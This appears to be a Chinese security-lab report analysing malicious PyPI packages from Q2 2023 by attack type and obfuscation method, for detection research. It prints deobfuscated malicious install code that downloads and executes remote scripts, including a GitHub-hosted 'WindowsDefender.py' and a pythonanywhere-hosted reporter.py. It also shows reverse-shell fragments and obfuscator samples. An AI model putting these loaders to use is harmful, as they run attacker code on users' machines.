【天问】2023年Q2恶意包回顾 (二)
/ / 点击 / 阅读耗时 23 分钟2023年第二季度,天问Python供应链威胁监测模块共捕捉到473个恶意包。我们分析总结了这些恶意包常用的攻击方式及混淆类型,从中我们发现恶意包所使用的混淆工具和混淆方式更加复杂多元化,对于分析检测提出严峻的挑战。这是我们Q2恶意包回顾的第二篇报告,第一篇报告内容见 【天问】2023年Q2恶意包回顾(一)。
天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。
1. 无文件攻击
此类攻击,攻击者将实际的攻击脚本放置在远程服务器中,例如discord。此外,目前有许多第三方网站提供匿名粘贴文本服务,例如paste.fo,pastebin.com,paste.bingner.com。这些网站支持用户粘贴一段文本,并生成特定的url。还有些网站支持匿名挂载文件,例如anonfiles.com。攻击者会利用这些网站来挂载他们真正的攻击脚本。
taskaio-0.0.1/taskaio/color.py
1 | from tempfile import NamedTemporaryFile as _ffile |
我们可以观察到攻击者在上述代码从https[:]//paste.fo/raw/d5adea92c383
读取了一段恶意脚本存储在临时文件中,并最终执行。恶意脚本部分截图如下所示:
在编辑器中看,代码似乎比较正常,仔细观察水平滚动条,才能发现这段代码似乎一行的内容非常长。下图是网页端代码的显示效果。
其中包含了大量的二进制字符串,从代码信息中,我们可知这段代码利用了GitHub上一个开源的Python混淆工具Hyperion
。其项目截图如下所示:
这个混淆工具添加了很多不可达的分支语句,并使用了部分别名。经过简单处理后,我们可以得到如下代码:
这与我们之前关于2022年PyPI恶意包回顾的文章中分析的其中一种混淆方式基本一致。由此可见,这个混淆工具是在之前混淆工具的基础上加了一些干扰,让分析人员更加难以处理分析。
经过分析包taskaio-0.0.1
的文件目录,我们没有发现通过下载触发攻击的路径。因此,我们猜测作者是想通过依赖攻击的方式来执行恶意代码。即当用户通过from taskaio.color import http
模块时,恶意代码会自动执行。下面是一个简单的依赖攻击示例,我们定义了一个python文件test.py
1 | class hello: |
当我们导入test.hello
这个模块时,攻击代码就会执行。
更多关于依赖攻击的介绍,可见我们之前发表的论文《Investigating Package Related Security Threats in Software Registries》。
2. 恶意文件下载执行
此类攻击中,攻击者直接从远端服务器中下载恶意样本(例如,.exe文件)在受害者的机器中执行。
tlibrium-1.0.0
1 | def notmalfunc(): |
3. 信息窃取
此类攻击中,攻击者会收集用户的主机信息等内容,然后回传到其指定的网址。这类攻击较为简单,且危害性相对较小。
jmdrs-1.0.4/setup.py
1 | from setuptools import setup |
如上所示,攻击者可以自定义安装代码,从而在用户下载安装包期间发起攻击。
此外,攻击者还会利用pipedream.net
这个网站来监控包的下载安装情况。我们之前关于Yandex依赖混淆攻击的文章中也分析攻击者对于这个网址的利用情况。
fet-2.0.1/setup.py
1 | import requests |
4. 反向shell
顾名思义,此类攻击会在用户机器上反射一个shell到攻击者的主机。
Track-Lost-Phone-1.0.4/setup.py
1 | from turtle import home |
上面的恶意包利用了一个现成的工具gsocket.io/x
在自己的主机实施监听。当用户安装这个包时,会自动下载安装gsocket.io/x
并连接到攻击者的主机。具体的使用说明可见官网gsocket.io
gkjzjh146-1.3
1 | def reverse_shell(host, port): |
通过socket
连接到攻击者的服务器,os.dup2
将宿主机的标准输入、输出以及错误都重定向到socket
的文件描述符,然后启动宿主机的命令行,攻击者就可以完成反向shell攻击
5. 混淆脚本
这类恶意包中恶意代码经过各种混淆处理,分析人员无法直接从代码中判断代码的具体行为。我们根据混淆程度的不同,将这些恶意包分为了几类。
ASCII编码
这类混淆较为简单,将字符转换为对应的ASCII码进行简单的混淆。
pymcgrabber-1.0.0/setup.py
1
exec("".join(map(chr, [105,109,112,111,114,116,32,115,117,98,112,114,111,99,101,115,115,10,10,115,117,98,112,114,111,99,101,115,115,46,114,117,110,40,91,39,112,105,112,39,44,32,39,105,110,115,116,97,108,108,39,...,111,40,41])))
解混淆后,结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70import subprocess
subprocess.run(['pip', 'install', 'requests'])
from setuptools import setup
import requests
import socket
import subprocess
import urllib.request
import os
import shutil
import winreg
import zipfile
subprocess.run(['pip', 'install', 'psutil'])
subprocess.run(['pip', 'install', 'requests'])
subprocess.run(['pip', 'install', 'sockets'])
subprocess.run(['pip', 'install', 'pypiwin32'])
subprocess.run(['pip', 'install', 'pycryptodome'])
subprocess.run(['pip', 'install', 'uuid'])
subprocess.run(['pip', 'install', 'cryptography'])
subprocess.run(['pip', 'install', 'pyfiglet'])
subprocess.run(['pip', 'install', 'browser_cookie3'])
subprocess.run(['pip', 'install', 'discord_webhook'])
subprocess.run(['pip', 'install', 'prettytable'])
subprocess.run(['pip', 'install', 'getmac'])
subprocess.run(['pip', 'install', 'pyautogui'])
subprocess.run(['pip', 'install', 'winregistry'])
subprocess.run(['pip', 'install', 'robloxpy'])
subprocess.run(['pip', 'install', 'pywin32'])
subprocess.run(['pip', 'install', 'Pillow'])
subprocess.run(['pip', 'install', 'tqdm'])
subprocess.run(['pip', 'install', 'setuptools'])
def send_discord_info():
import requests
import subprocess
import winreg
import os
url = 'https://raw.githubusercontent.com/JoelDev27/aigh83u/main/WindowsDefender.py'
archivo = requests.get(url)
ruta = os.path.join(os.path.expanduser('~'), 'WindowsDefender.py')
with open(ruta, 'w', encoding='utf-8') as f:
f.write("# -*- coding: latin-1 -*-\n")
f.write(archivo.text)
subprocess.run(['python', ruta])
os.remove(ruta)
setup(
name='pymcgrabber',
version='1.0.0',
packages=['pymcgrabber'],
url='https://github.com/pymcgrabber/pymcgrabber',
license='',
author='pymcgrabber',
author_email='pymcgrabber@gmail.com',
description='Python Minecraft Cracker'
)
if __name__ == '__main__':
send_discord_info()从反混淆结果可知,攻击者从github中下载了一个攻击样本并执行,目前该网址已失效。
base64编码
base64编码是攻击者非常喜欢用的混淆方式,攻击者将恶意脚本或者恶意程序通过base64编码嵌入py文件中,最终通过
exec
来执行。demo-malicious-package-2022.12.7/certifi/__init__.py
1
2
3
4
5
6from .core import contents, where
import base64
exec(base64.b64decode(b'ZXhlYyhfX2ltcG9ydF9fKCJpbXBvcnRsaWIiKS5pbXBvcnRfbW9kdWxlKCJ1cmxsaWIucmVxdWVzdCIpLnVybG9wZW4oImh0dHBzOi8vY3liZXJyZXNlYXJjaC5weXRob25hbnl3aGVyZS5jb20vcmVwb3J0ZXIucHkiKS5yZWFkKCkuZGVjb2RlKCkp'))
__all__ = ["contents", "where"]
__version__ = "2022.12.07"base64字符串解码后的结果如下所示:
1
exec(__import__("importlib").import_module("urllib.request").urlopen("https://cyberresearch.pythonanywhere.com/reporter.py").read().decode())
攻击者在pythonanywhere.com上托管了一个python文件,然后攻击者通过
request
模块下载执行这个Python文件。混淆工具
mahdienc
我们在分析过程中,发现了一个疑似python混淆工具的
mahdienc
,分析其源码我们可以发现它使用了zlib.compress
,base64.b16encode
,base64.b32encode
,base64.b64encode
,marshal.dumps
,hex
,Cpython
等编码序列化方式来对python代码进行混淆处理。这也是我们目前遇到的混淆样本中常用的几种混淆方式。mahdienc-0.1/__init__.py
1
2
3
4
5
6# Encoding
zlb = lambda in_ : zlib.compress(in_)
b16 = lambda in_ : base64.b16encode(in_)
b32 = lambda in_ : base64.b32encode(in_)
b64 = lambda in_ : base64.b64encode(in_)
mar = lambda in_ : marshal.dumps(compile(in_,'<x>','exec'))Pyobfuscate
这个混淆工具利用
pycryptodome
模块来加密混淆Python源码,最终的结果包含4层混淆,其混淆效果如下所示源码:
1
print('hello')
混淆代码:
1
2
3
4
5
6
7#pip install pycryptodome , It works only v3.11 Above.
import random ,base64,codecs,zlib;pyobfuscate=""
obfuscate = dict(map(lambda map,dict:(map,dict),['(https://pyobfuscate.com)*(public_key)'],['''8=F3p>8i$(Cxi<z+Is3a7+be>4r2'''.replace('\n','')]))
_=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))));eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61...\x6c\x29");__='600840 10052792 2475510 107811 3460338 725070 743968 2892000 2595808 1123520 ... 3865800 9856668 3906900 1701828 590760 464890';why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28";b='eJxzdK8wccz1A+IwYyBt6OheketYHmYKAFuyB3k=';____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')
Pyarmor
Pyarmor是一个较为成熟的Python混淆工具,其可以将混淆代码与特定的机器绑定并且可以设置混淆代码的有效期,目前我们没有发现针对这类混淆的较好的反混淆方法。Pyarmor的源代码地址GitHub仓库为https://github.com/dashingsoft/pyarmor。其典型的混淆脚本样式如下所示
源代码
1
print('hello')
混淆代码
1
2from pyarmor_runtime_000000 import __pyarmor__
__pyarmor__(__name__, __file__, b'PY000000\x00\x03\x0b\x00\xa7\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00\xe3\x01\x00\x00\x12\t\x04\x00?vf\xf0S\...\x99C\xd3')
6. 结语
从Q2的分析报告中,我们可以看到PyPI的恶意包发布呈现出了大规模,组织化的趋势。从恶意包的攻击目的看,信息窃取仍是主流,但各种开源工具和恶意软件的使用,使得恶意包窃取能力不断增强,危害性也越来越高。多数恶意包都使用了混淆来躲避分析检测,对分析检测造成了很大的干扰。随着混淆工具的不断增强,针对Python代码的静态检测分析也需要提升其反混淆能力来应对这一严峻挑战。
7. 附录
恶意包列表
- 无文件攻击
包名 | 上传时间 | 作者 |
---|---|---|
taskaio-0.0.1 | 04-03 | badsiontop |
colorsmax-2.9 | 04-10 | Oxygen1337 |
colorsmaster-1.9 | 04-12 | Oxygen1337 |
colorsmaximize-1.9 | 04-19 | Oxygen1337 |
pyslyte-1.9 | 04-21 | Oxygen1337 |
request-supporter-1.0 | 04-23 | uovxmedrsm |
proxyhandlercxp-1.0 | 04-21 | japanontop |
proxieshexler-1.0 | 04-25 | japanontop |
tucan-x-0.0.1 | 04-25 | synthetic0731 |
tucan-x-0.0.2 | 04-25 | synthetic0731 |
pymatematics-1.0.0 | 05-01 | PlutonBlaze83 |
hase-0.0.1 | 06-17 | badsiontop |
bs5-0.0.1 | 06-17 | Rikia |
bs3-0.0.1 | 06-18 | seltoxontop |
- 恶意文件下载执行
包名 | 上传时间 | 作者 |
---|---|---|
tlibrium-1.0.0 | 05-23 | semantikes |
nagogypython-11.13.8 | 06-03 | nagogy |
BSODinator-0.0.1 | 06-18 | VeersinghZ |
barcodeqrgen-1.0.3 | 06-21 | mightybros98 |
- 信息窃取
包名 | 上传时间 | 作者 |
---|---|---|
jmdrs-1.0.4 | 04-16 | mastertraining |
zelixnitro-1.0 | 06-02 | blud |
ThreadsCount-0.1 | 06-02 | Harmien366 |
astralnitro-1.0 | 06-03 | magma3 |
soulnitro-1.0 | 06-04 | Yeager |
airnitro-1.0 | 06-04 | manga |
zydnitro-1.0 | 06-04 | venom7483 |
airduq-1.0 | 06-05 | airduq |
psbody_mesh-0.3 | 06-06 | kotko |
cleantalk-6.6.6 | 06-18 | testes10 |
spykes-2.0.1 | 04-13 | AnupamAS0111 |
fet-2.0.1 | 04-24 | AnupamAS0111 |
qkit-2.0.1 | 04-25 | AnupamAS0111 |
prefect-sendgrid-5.1.1 | 04-26 | AnupamAS0111 |
nettle-5.0.1 | 04-29 | manan221205 |
dependency1338-1.0.0 | 06-18 | shreyapohekar |
- 反向shell
包名 | 上传时间 | 作者 |
---|---|---|
Track-Lost-Phone-1.0.4 | 04-15 | AuxGreptz |
Track-Lost-Phone-1.0.5 | 04-15 | AuxGreptz |
gkjzjh146-1.3 | 05-14 | gkjzjh146 |
gkjzjh146-1.4 | 05-14 | gkjzjh146 |
gkjzjh146-1.5 | 05-14 | gkjzjh146 |
qaqaqazzz-1.5 | 05-14 | gkjzjh146 |
easygetflag-1.5 | 05-14 | gkjzjh146 |
easygetflag-1.6 | 05-14 | gkjzjh146 |
testflag-2.30.0 | 05-14 | gkjzjh146 |
woodwhalehack114-1.3 | 05-14 | woodwhale |
混淆脚本
ASCII编码
包名 上传日期 作者 pymcgrabber-1.0.0 04-08 abelladev666 base64编码
包名 上传日期 作者 pymcgrabber-1.0.0 04-08 abelladev666 demo-malicious-package-2022.12.7 04-13 CyberResearch1 heisenbergiums-1.0.0 04-13 semantikes hambit-1.0.0 04-13 semantikes herment-1.0.0 04-13 semantikes hrihog-1.0.0 04-13 semantikes hallowsky-1.0.0 04-13 semantikes hansont-1.0.0 04-13 semantikes youhans-1.0.0 04-13 semantikes gasmanez-1.0.0 04-14 semantikes henter-1.0.0 04-14 semantikes roblox-python-wrapper-1.0.93 04-16 jahton1113 roblox-python-wrapper-2.0.3 04-16 jahton1113 roblox-py-wrapper-2.0.5 04-18 jahton1113 roblox-py-wrapper-2.0.7 04-18 jahton1113 roblox-py-wrapper-2.0.8 04-18 jahton1113 ro-py-wrapper-2.0.10 04-18 jahton1113 no-install-test-noinst-2.0.10 04-21 jahton1113 ropython-2.0.10 04-21 jahton1113 robloxpython-2.0.14 04-22 jahton1113 roblopython-2.0.15 04-27 jahton1113 Flexponlib-0.0.1 04-23 FlexDev pepequests-0.0.1 05-01 weken99837 pepequests-0.0.2 05-01 weken99837 helrmerter-1.0.0 05-01 urfin12 znomig-1.0.0 05-01 urfin12 ztasimb-1.0.0 05-01 urfin12 huluquests-0.0.3 05-02 poyoca6802 stillrequestsa-0.0.1 05-02 hocecim540 popyquests-0.0.1 05-03 copif35126copif35126 numpy_req-12.17.3 06-03 dynastyoak mahdienc
包名 上传日期 作者 MEXV9_0-0.3 04-03 Mahdi-bbhh mahdienc-0.1 04-09 Mahdi-bbhh mahdienc-0.2 04-09 Mahdi-bbhh Pyobfuscate
包名 上传日期 作者 pysubprocess-1.0.0 05-01 PlutonBlaze83 Pyarmor
包名 上传日期 作者 tabulation-0.9.2 06-26 sergey_astanin